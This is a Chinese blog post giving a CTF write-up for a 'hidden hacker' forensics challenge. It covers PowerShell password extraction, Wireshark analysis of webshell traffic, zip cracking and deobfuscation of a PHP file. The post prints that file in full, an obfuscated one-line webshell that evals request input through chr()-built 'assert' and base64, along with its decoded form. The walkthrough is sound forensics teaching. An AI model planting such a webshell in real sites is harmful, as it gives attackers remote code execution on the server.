关于 DreamCat

主题名称:DreamCat | 版本:3.0.240224

主题开发:HanFengA7 | CornWorld

Designed by HanFengA7 Power by Typecho

Copyright © 2015-2024 by LychApe All rights reserved!

menu
refresh

隐藏的黑客 WriteUp

作者: ciaoℒy

时间:

全部解压题目附件, 发现存在一个流量包和upload目录, upload目录里存储有大量的一句话木马.

提取密码

随便打开几个木马, 发现其连接密码为无意义的hash. 先尝试提取出这些hash, 后续可能会用到.

# Powershell
$_pwd = (ls | ForEach-Object {
    Get-Content $_ | ForEach-Object {
        $_ -replace '.*\[(.*)\].*', '$1'
    }
});

Out-File -FilePath .\passwd.txt -Encoding default -InputObject $_pwd;

# 直接使用输出重定向的编码是UTF-16 le, 经测试这会导致爆破密码时出错, 因此需要使用encoding参数指定编码

流量分析

使用Wireshark对流量记录进行分析, 由于本题附件中存在webshell, 且在wireshark中发现有HTTP流量, 故先从HTTP流量入手.

过滤HTTP流量, 逐个分析http请求. 经简单分析, 其为使用蚁剑或菜刀连接webshell的流量, 可以看出HTTP请求的过程为:

%% HTTP请求过程
  sequenceDiagram
    104->>107: 获取当前系统状态
    107->>104: 返回pwd/uid/uname等信息
    104->>107: 获取当前目录状态
    107->>104: 返回ls信息
    104->>107: 执行指令`id`
    107->>104: 返回执行结果
    104->>107: 执行指令`ps`
    107->>104: 返回执行结果
    104->>107: 尝试打开文件webshell.zip
    107->>104: 返回webshell.zip

将第1637个IP包导出, 使用binwalk对其进行解包(binwalk -e webshell.bin), 可以得到一个zip压缩文件. 使用解压工具尝试打开该压缩文件, 发现需要猜解密码.

爆破webshell.zip

将获得的压缩包导入到压缩包爆破工具, 导入前述提取的密码文件passwd.txt, 进行爆破. 最终获得密码7b8b965ad4bca

解压该文件, 可以获得文件 webshell.php

分析webshell.php获取flag

webshell.php的内容为:

<?php

error_reporting(0);

@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116); // assert
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); // base64_decode
@$count = 0;
for($x=0;$x<=9;$x++){
        if (in_array($x, @$c)){
                @$str=@$str.@$c[@$count];
                if ($count == 2)
                {       
                        @$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
                }
                @$count++;
        }
}
?>

做了一些简单的加密, 可以对其解密. 经分析, 其最终等效代码为:

<?php
// base64_decode("ZXZhbCgkX1JFUVVFU1RbJzlhNzJjM2Q1ZTc0ZjYwNTFiYjNiMzU5MGZhOTMxOWZlJ10pOw");
    @assert(eval($_REQUEST['9a72c3d5e74f6051bb3b3590fa9319fe']);)
?>

获得flag{9a72c3d5e74f6051bb3b3590fa9319fe}


#本文链接:https://blog.chaol.top/archives/49.html
#本文采用 CC BY-NC-SA 4.0 协议进行许可
#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0)协议,即转载请注明文章来源。
#最后编辑时间为: 2021 年 08 月 12 日
WriteUp
none

create 添加新评论


account_circle
email
language
textsms



加我的QQ
加我的微博
加我的支付宝
加我的微信